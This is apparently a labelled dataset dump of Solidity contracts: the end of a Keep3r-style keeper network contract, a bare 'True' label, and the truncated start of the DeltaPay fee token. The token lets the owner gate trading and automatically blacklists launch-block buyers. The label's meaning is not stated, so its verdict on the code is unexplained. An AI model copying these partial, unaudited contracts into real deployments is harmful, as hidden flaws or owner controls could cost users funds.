/// @notice address used for ETH transfers
address constant public ETH = address(0xE);
/// @notice tracks all current bondings (time)
mapping(address => mapping(address => uint)) public bondings;
/// @notice tracks all current unbondings (time)
mapping(address => mapping(address => uint)) public unbondings;
/// @notice allows for partial unbonding
mapping(address => mapping(address => uint)) public partialUnbonding;
/// @notice tracks all current pending bonds (amount)
mapping(address => mapping(address => uint)) public pendingbonds;
/// @notice tracks how much a keeper has bonded
mapping(address => mapping(address => uint)) public bonds;
/// @notice tracks underlying votes (that don't have bond)
mapping(address => uint) public votes;
/// @notice total bonded (totalSupply for bonds)
uint public totalBonded = 0;
/// @notice tracks when a keeper was first registered
mapping(address => uint) public firstSeen;
/// @notice tracks if a keeper has a pending dispute
mapping(address => bool) public disputes;
/// @notice tracks last job performed for a keeper
mapping(address => uint) public lastJob;
/// @notice tracks the total job executions for a keeper
mapping(address => uint) public workCompleted;
/// @notice list of all jobs registered for the keeper system
mapping(address => bool) public jobs;
/// @notice the current credit available for a job
mapping(address => mapping(address => uint)) public credits;
/// @notice the balances for the liquidity providers
mapping(address => mapping(address => mapping(address => uint))) public liquidityProvided;
/// @notice liquidity unbonding days
mapping(address => mapping(address => mapping(address => uint))) public liquidityUnbonding;
/// @notice liquidity unbonding amounts
mapping(address => mapping(address => mapping(address => uint))) public liquidityAmountsUnbonding;
/// @notice job proposal delay
mapping(address => uint) public jobProposalDelay;
/// @notice liquidity apply date
mapping(address => mapping(address => mapping(address => uint))) public liquidityApplied;
/// @notice liquidity amount to apply
mapping(address => mapping(address => mapping(address => uint))) public liquidityAmount;
/// @notice list of all current keepers
mapping(address => bool) public keepers;
/// @notice blacklist of keepers not allowed to participate
mapping(address => bool) public blacklist;
/// @notice traversable array of keepers to make external management easier
address[] public keeperList;
/// @notice traversable array of jobs to make external management easier
address[] public jobList;
/// @notice governance address for the governance contract
address public governance;
address public pendingGovernance;
/// @notice the liquidity token supplied by users paying for jobs
mapping(address => bool) public liquidityAccepted;
address[] public liquidityPairs;
uint internal _gasUsed;
constructor(address _kph) public {
// Set governance for this token
governance = msg.sender;
DOMAINSEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), _getChainId(), address(this)));
KPRH = IKperNetworkHelper(_kph);
}
/**
* @notice Add ETH credit to a job to be paid out for work
* @param job the job being credited
*/
function addCreditETH(address job) external payable {
require(jobs[job], "addCreditETH: !job");
uint _fee = msg.value.mul(FEE).div(BASE);
credits[job][ETH] = credits[job][ETH].add(msg.value.sub(_fee));
payable(governance).transfer(_fee);
emit AddCredit(ETH, job, msg.sender, block.number, msg.value);
}
/**
* @notice Add credit to a job to be paid out for work
* @param credit the credit being assigned to the job
* @param job the job being credited
* @param amount the amount of credit being added to the job
*/
function addCredit(address credit, address job, uint amount) external nonReentrant {
require(jobs[job], "addCreditETH: !job");
uint _before = IERC20(credit).balanceOf(address(this));
IERC20(credit).safeTransferFrom(msg.sender, address(this), amount);
uint _received = IERC20(credit).balanceOf(address(this)).sub(_before);
uint _fee = _received.mul(FEE).div(BASE);
credits[job][credit] = credits[job][credit].add(_received.sub(_fee));
IERC20(credit).safeTransfer(governance, _fee);
emit AddCredit(credit, job, msg.sender, block.number, _received);
}
/**
* @notice Add non transferable votes for governance
* @param voter to add the votes to
* @param amount of votes to add
*/
function addVotes(address voter, uint amount) external {
require(msg.sender == governance, "addVotes: !gov");
_activate(voter, address(this));
votes[voter] = votes[voter].add(amount);
totalBonded = totalBonded.add(amount);
_moveDelegates(address(0), delegates[voter], amount);
}
/**
* @notice Remove non transferable votes for governance
* @param voter to subtract the votes
* @param amount of votes to remove
*/
function removeVotes(address voter, uint amount) external {
require(msg.sender == governance, "addVotes: !gov");
votes[voter] = votes[voter].sub(amount);
totalBonded = totalBonded.sub(amount);
_moveDelegates(delegates[voter], address(0), amount);
}
/**
* @notice Add credit to a job to be paid out for work
* @param job the job being credited
* @param amount the amount of credit being added to the job
*/
function addKPRCredit(address job, uint amount) external {
require(msg.sender == governance, "addKPRCredit: !gov");
require(jobs[job], "addKPRCredit: !job");
credits[job][address(this)] = credits[job][address(this)].add(amount);
_mint(address(this), amount);
emit AddCredit(address(this), job, msg.sender, block.number, amount);
}
/**
* @notice Approve a liquidity pair for being accepted in future
* @param liquidity the liquidity no longer accepted
*/
function approveLiquidity(address liquidity) external {
require(msg.sender == governance, "approveLiquidity: !gov");
require(!liquidityAccepted[liquidity], "approveLiquidity: !pair");
liquidityAccepted[liquidity] = true;
liquidityPairs.push(liquidity);
}
/**
* @notice Revoke a liquidity pair from being accepted in future
* @param liquidity the liquidity no longer accepted
*/
function revokeLiquidity(address liquidity) external {
require(msg.sender == governance, "revokeLiquidity: !gov");
liquidityAccepted[liquidity] = false;
}
/**
* @notice Displays all accepted liquidity pairs
*/
function pairs() external view returns (address[] memory) {
return liquidityPairs;
}
/**
* @notice Allows liquidity providers to submit jobs
* @param liquidity the liquidity being added
* @param job the job to assign credit to
* @param amount the amount of liquidity tokens to use
*/
function addLiquidityToJob(address liquidity, address job, uint amount) external nonReentrant {
require(liquidityAccepted[liquidity], "addLiquidityToJob: !pair");
IERC20(liquidity).safeTransferFrom(msg.sender, address(this), amount);
liquidityProvided[msg.sender][liquidity][job] = liquidityProvided[msg.sender][liquidity][job].add(amount);
liquidityApplied[msg.sender][liquidity][job] = now.add(LIQUIDITYBOND);
liquidityAmount[msg.sender][liquidity][job] = liquidityAmount[msg.sender][liquidity][job].add(amount);
if (!jobs[job] && jobProposalDelay[job] < now) {
IGovernance(governance).proposeJob(job);
jobProposalDelay[job] = now.add(UNBOND);
}
emit SubmitJob(job, liquidity, msg.sender, block.number, amount);
}
/**
* @notice Applies the credit provided in addLiquidityToJob to the job
* @param provider the liquidity provider
* @param liquidity the pair being added as liquidity
* @param job the job that is receiving the credit
*/
function applyCreditToJob(address provider, address liquidity, address job) external {
require(liquidityAccepted[liquidity], "addLiquidityToJob: !pair");
require(liquidityApplied[provider][liquidity][job] != 0, "credit: no bond");
require(liquidityApplied[provider][liquidity][job] < now, "credit: bonding");
uint _liquidity = KperNetworkLibrary.getReserve(liquidity, address(this));
uint _credit = _liquidity.mul(liquidityAmount[provider][liquidity][job]).div(IERC20(liquidity).totalSupply());
_mint(address(this), _credit);
credits[job][address(this)] = credits[job][address(this)].add(_credit);
liquidityAmount[provider][liquidity][job] = 0;
emit ApplyCredit(job, liquidity, provider, block.number, _credit);
}
/**
* @notice Unbond liquidity for a job
* @param liquidity the pair being unbound
* @param job the job being unbound from
* @param amount the amount of liquidity being removed
*/
function unbondLiquidityFromJob(address liquidity, address job, uint amount) external {
require(liquidityAmount[msg.sender][liquidity][job] == 0, "credit: pending credit");
liquidityUnbonding[msg.sender][liquidity][job] = now.add(UNBOND);
liquidityAmountsUnbonding[msg.sender][liquidity][job] = liquidityAmountsUnbonding[msg.sender][liquidity][job].add(amount);
require(liquidityAmountsUnbonding[msg.sender][liquidity][job] <= liquidityProvided[msg.sender][liquidity][job], "unbondLiquidityFromJob: insufficient funds");
uint _liquidity = KperNetworkLibrary.getReserve(liquidity, address(this));
uint _credit = _liquidity.mul(amount).div(IERC20(liquidity).totalSupply());
if (_credit > credits[job][address(this)]) {
_burn(address(this), credits[job][address(this)]);
credits[job][address(this)] = 0;
} else {
_burn(address(this), _credit);
credits[job][address(this)] = credits[job][address(this)].sub(_credit);
}
emit UnbondJob(job, liquidity, msg.sender, block.number, amount);
}
/**
* @notice Allows liquidity providers to remove liquidity
* @param liquidity the pair being unbound
* @param job the job being unbound from
*/
function removeLiquidityFromJob(address liquidity, address job) external {
require(liquidityUnbonding[msg.sender][liquidity][job] != 0, "removeJob: unbond");
require(liquidityUnbonding[msg.sender][liquidity][job] < now, "removeJob: unbonding");
uint _amount = liquidityAmountsUnbonding[msg.sender][liquidity][job];
liquidityProvided[msg.sender][liquidity][job] = liquidityProvided[msg.sender][liquidity][job].sub(_amount);
liquidityAmountsUnbonding[msg.sender][liquidity][job] = 0;
IERC20(liquidity).safeTransfer(msg.sender, _amount);
emit RemoveJob(job, liquidity, msg.sender, block.number, _amount);
}
/**
* @notice Allows governance to mint new tokens to treasury
* @param amount the amount of tokens to mint to treasury
*/
function mint(uint amount) external {
require(msg.sender == governance, "mint: !gov");
_mint(governance, amount);
}
/**
* @notice burn owned tokens
* @param amount the amount of tokens to burn
*/
function burn(uint amount) external {
_burn(msg.sender, amount);
}
function _mint(address dst, uint amount) internal {
// mint the amount
totalSupply = totalSupply.add(amount);
// transfer the amount to the recipient
balances[dst] = balances[dst].add(amount);
emit Transfer(address(0), dst, amount);
}
function _burn(address dst, uint amount) internal {
require(dst != address(0), "_burn: zero address");
balances[dst] = balances[dst].sub(amount, "_burn: exceeds balance");
totalSupply = totalSupply.sub(amount);
emit Transfer(dst, address(0), amount);
}
/**
* @notice Implemented by jobs to show that a keeper performed work
* @param keeper address of the keeper that performed the work
*/
function worked(address keeper) external {
workReceipt(keeper, KPRH.getQuoteLimit(_gasUsed.sub(gasleft())));
}
/**
* @notice Implemented by jobs to show that a keeper performed work
* @param keeper address of the keeper that performed the work
* @param amount the reward that should be allocated
*/
function workReceipt(address keeper, uint amount) public {
require(jobs[msg.sender], "workReceipt: !job");
require(amount <= KPRH.getQuoteLimit(_gasUsed.sub(gasleft())), "workReceipt: max limit");
credits[msg.sender][address(this)] = credits[msg.sender][address(this)].sub(amount, "workReceipt: insuffient funds");
lastJob[keeper] = now;
_reward(keeper, amount);
workCompleted[keeper] = workCompleted[keeper].add(amount);
emit KeeperWorked(address(this), msg.sender, keeper, block.number, amount);
}
/**
* @notice Implemented by jobs to show that a keeper performed work
* @param credit the asset being awarded to the keeper
* @param keeper address of the keeper that performed the work
* @param amount the reward that should be allocated
*/
function receipt(address credit, address keeper, uint amount) external {
require(jobs[msg.sender], "receipt: !job");
credits[msg.sender][credit] = credits[msg.sender][credit].sub(amount, "workReceipt: insuffient funds");
lastJob[keeper] = now;
IERC20(credit).safeTransfer(keeper, amount);
emit KeeperWorked(credit, msg.sender, keeper, block.number, amount);
}
/**
* @notice Implemented by jobs to show that a keeper performed work
* @param keeper address of the keeper that performed the work
* @param amount the amount of ETH sent to the keeper
*/
function receiptETH(address keeper, uint amount) external {
require(jobs[msg.sender], "receipt: !job");
credits[msg.sender][ETH] = credits[msg.sender][ETH].sub(amount, "workReceipt: insuffient funds");
lastJob[keeper] = now;
payable(keeper).transfer(amount);
emit KeeperWorked(ETH, msg.sender, keeper, block.number, amount);
}
function _reward(address _from, uint _amount) internal {
bonds[_from][address(this)] = bonds[_from][address(this)].add(_amount);
totalBonded = totalBonded.add(_amount);
_moveDelegates(address(0), delegates[_from], _amount);
emit Transfer(msg.sender, _from, _amount);
}
function _bond(address bonding, address _from, uint _amount) internal {
bonds[_from][bonding] = bonds[_from][bonding].add(_amount);
if (bonding == address(this)) {
totalBonded = totalBonded.add(_amount);
_moveDelegates(address(0), delegates[_from], _amount);
}
}
function _unbond(address bonding, address _from, uint _amount) internal {
bonds[_from][bonding] = bonds[_from][bonding].sub(_amount);
if (bonding == address(this)) {
totalBonded = totalBonded.sub(_amount);
_moveDelegates(delegates[_from], address(0), _amount);
}
}
/**
* @notice Allows governance to add new job systems
* @param job address of the contract for which work should be performed
*/
function addJob(address job) external {
require(msg.sender == governance, "addJob: !gov");
require(!jobs[job], "addJob: job known");
jobs[job] = true;
jobList.push(job);
emit JobAdded(job, block.number, msg.sender);
}
/**
* @notice Full listing of all jobs ever added
* @return array blob
*/
function getJobs() external view returns (address[] memory) {
return jobList;
}
/**
* @notice Allows governance to remove a job from the systems
* @param job address of the contract for which work should be performed
*/
function removeJob(address job) external {
require(msg.sender == governance, "removeJob: !gov");
jobs[job] = false;
emit JobRemoved(job, block.number, msg.sender);
}
/**
* @notice Allows governance to change the Keep3rHelper for max spend
* @param _kprh new helper address to set
*/
function setKeep3rHelper(IKperNetworkHelper _kprh) external {
require(msg.sender == governance, "setKeep3rHelper: !gov");
KPRH = _kprh;
}
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "setGovernance: !gov");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov");
governance = pendingGovernance;
}
/**
* @notice confirms if the current keeper is registered, can be used for general (non critical) functions
* @param keeper the keeper being investigated
* @return true/false if the address is a keeper
*/
function isKeeper(address keeper) external returns (bool) {
_gasUsed = gasleft();
return keepers[keeper];
}
/**
* @notice confirms if the current keeper is registered and has a minimum bond, should be used for protected functions
* @param keeper the keeper being investigated
* @param minBond the minimum requirement for the asset provided in bond
* @param earned the total funds earned in the keepers lifetime
* @param age the age of the keeper in the system
* @return true/false if the address is a keeper and has more than the bond
*/
function isMinKeeper(address keeper, uint minBond, uint earned, uint age) external returns (bool) {
_gasUsed = gasleft();
return keepers[keeper]
&& bonds[keeper][address(this)].add(votes[keeper]) >= minBond
&& workCompleted[keeper] >= earned
&& now.sub(firstSeen[keeper]) >= age;
}
/**
* @notice confirms if the current keeper is registered and has a minimum bond, should be used for protected functions
* @param keeper the keeper being investigated
* @param bond the bound asset being evaluated
* @param minBond the minimum requirement for the asset provided in bond
* @param earned the total funds earned in the keepers lifetime
* @param age the age of the keeper in the system
* @return true/false if the address is a keeper and has more than the bond
*/
function isBondedKeeper(address keeper, address bond, uint minBond, uint earned, uint age) external returns (bool) {
_gasUsed = gasleft();
return keepers[keeper]
&& bonds[keeper][bond] >= minBond
&& workCompleted[keeper] >= earned
&& now.sub(firstSeen[keeper]) >= age;
}
/**
* @notice begin the bonding process for a new keeper
* @param bonding the asset being bound
* @param amount the amount of bonding asset being bound
*/
function bond(address bonding, uint amount) external nonReentrant {
require(!blacklist[msg.sender], "bond: blacklisted");
bondings[msg.sender][bonding] = now.add(BOND);
if (bonding == address(this)) {
_transferTokens(msg.sender, address(this), amount);
} else {
uint _before = IERC20(bonding).balanceOf(address(this));
IERC20(bonding).safeTransferFrom(msg.sender, address(this), amount);
amount = IERC20(bonding).balanceOf(address(this)).sub(_before);
}
pendingbonds[msg.sender][bonding] = pendingbonds[msg.sender][bonding].add(amount);
emit KeeperBonding(msg.sender, block.number, bondings[msg.sender][bonding], amount);
}
/**
* @notice get full list of keepers in the system
*/
function getKeepers() external view returns (address[] memory) {
return keeperList;
}
/**
* @notice allows a keeper to activate/register themselves after bonding
* @param bonding the asset being activated as bond collateral
*/
function activate(address bonding) external {
require(!blacklist[msg.sender], "activate: blacklisted");
require(bondings[msg.sender][bonding] != 0 && bondings[msg.sender][bonding] < now, "activate: bonding");
_activate(msg.sender, bonding);
}
function _activate(address keeper, address bonding) internal {
if (firstSeen[keeper] == 0) {
firstSeen[keeper] = now;
keeperList.push(keeper);
lastJob[keeper] = now;
}
keepers[keeper] = true;
_bond(bonding, keeper, pendingbonds[keeper][bonding]);
pendingbonds[keeper][bonding] = 0;
emit KeeperBonded(keeper, block.number, block.timestamp, bonds[keeper][bonding]);
}
/**
* @notice begin the unbonding process to stop being a keeper
* @param bonding the asset being unbound
* @param amount allows for partial unbonding
*/
function unbond(address bonding, uint amount) external {
unbondings[msg.sender][bonding] = now.add(UNBOND);
_unbond(bonding, msg.sender, amount);
partialUnbonding[msg.sender][bonding] = partialUnbonding[msg.sender][bonding].add(amount);
emit KeeperUnbonding(msg.sender, block.number, unbondings[msg.sender][bonding], amount);
}
/**
* @notice withdraw funds after unbonding has finished
* @param bonding the asset to withdraw from the bonding pool
*/
function withdraw(address bonding) external nonReentrant {
require(unbondings[msg.sender][bonding] != 0 && unbondings[msg.sender][bonding] < now, "withdraw: unbonding");
require(!disputes[msg.sender], "withdraw: disputes");
if (bonding == address(this)) {
_transferTokens(address(this), msg.sender, partialUnbonding[msg.sender][bonding]);
} else {
IERC20(bonding).safeTransfer(msg.sender, partialUnbonding[msg.sender][bonding]);
}
emit KeeperUnbound(msg.sender, block.number, block.timestamp, partialUnbonding[msg.sender][bonding]);
partialUnbonding[msg.sender][bonding] = 0;
}
/**
* @notice allows governance to create a dispute for a given keeper
* @param keeper the address in dispute
*/
function dispute(address keeper) external {
require(msg.sender == governance, "dispute: !gov");
disputes[keeper] = true;
emit KeeperDispute(keeper, block.number);
}
/**
* @notice allows governance to slash a keeper based on a dispute
* @param bonded the asset being slashed
* @param keeper the address being slashed
* @param amount the amount being slashed
*/
function slash(address bonded, address keeper, uint amount) public nonReentrant {
require(msg.sender == governance, "slash: !gov");
if (bonded == address(this)) {
_transferTokens(address(this), governance, amount);
} else {
IERC20(bonded).safeTransfer(governance, amount);
}
_unbond(bonded, keeper, amount);
disputes[keeper] = false;
emit KeeperSlashed(keeper, msg.sender, block.number, amount);
}
/**
* @notice blacklists a keeper from participating in the network
* @param keeper the address being slashed
*/
function revoke(address keeper) external {
require(msg.sender == governance, "slash: !gov");
keepers[keeper] = false;
blacklist[keeper] = true;
slash(address(this), keeper, bonds[keeper][address(this)]);
}
/**
* @notice allows governance to resolve a dispute on a keeper
* @param keeper the address cleared
*/
function resolve(address keeper) external {
require(msg.sender == governance, "resolve: !gov");
disputes[keeper] = false;
emit KeeperResolved(keeper, block.number);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint amount) public returns (bool) {
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param amount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "permit: signature");
require(signatory == owner, "permit: unauthorized");
require(now <= deadline, "permit: expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint amount) public returns (bool) {
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint amount) external returns (bool) {
address spender = msg.sender;
uint spenderAllowance = allowances[src][spender];
if (spender != src && spenderAllowance != uint(-1)) {
uint newAllowance = spenderAllowance.sub(amount, "transferFrom: exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function _transferTokens(address src, address dst, uint amount) internal {
require(src != address(0), "_transferTokens: zero address");
require(dst != address(0), "_transferTokens: zero address");
balances[src] = balances[src].sub(amount, "_transferTokens: exceeds balance");
balances[dst] = balances[dst].add(amount, "_transferTokens: overflows");
emit Transfer(src, dst, amount);
}
function _getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
True
|
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] |
/**
*Submitted for verification at Etherscan.io on 2022-03-27
*/
/*
/$$$$$$$ /$$ /$$ /$$$$$$$
| $$__ $$ | $$ | $$ | $$__ $$
| $$ \ $$ /$$$$$$ | $$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ /$$ /$$
| $$ | $$ /$$__ $$| $$|_ $$_/ |____ $$| $$$$$$$/|____ $$| $$ | $$
| $$ | $$| $$$$$$$$| $$ | $$ /$$$$$$$| $$____/ /$$$$$$$| $$ | $$
| $$ | $$| $$_____/| $$ | $$ /$$ /$$__ $$| $$ /$$__ $$| $$ | $$
| $$$$$$$/| $$$$$$$| $$ | $$$$/| $$$$$$$| $$ | $$$$$$$| $$$$$$$
|_______/ \_______/|__/ \___/ \_______/|__/ \_______/ \____ $$
/$$ | $$
| $$$$$$/
\______/
Telegram:
https://t.me/deltapay
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DeltaPay is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Delta Pay";
string private constant _symbol = "DeltaPay";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 7;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xf4Cdb03Fa34027152a72626d75f41758F98E6540);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 10 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e8 * 10**9;
uint256 public _maxWalletSize = 2e8 * 10**9;
uint256 public _swapTokensAtAmount = 1001 * 10**9;
uint256 public _minimumBuyAmount = 2e8 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
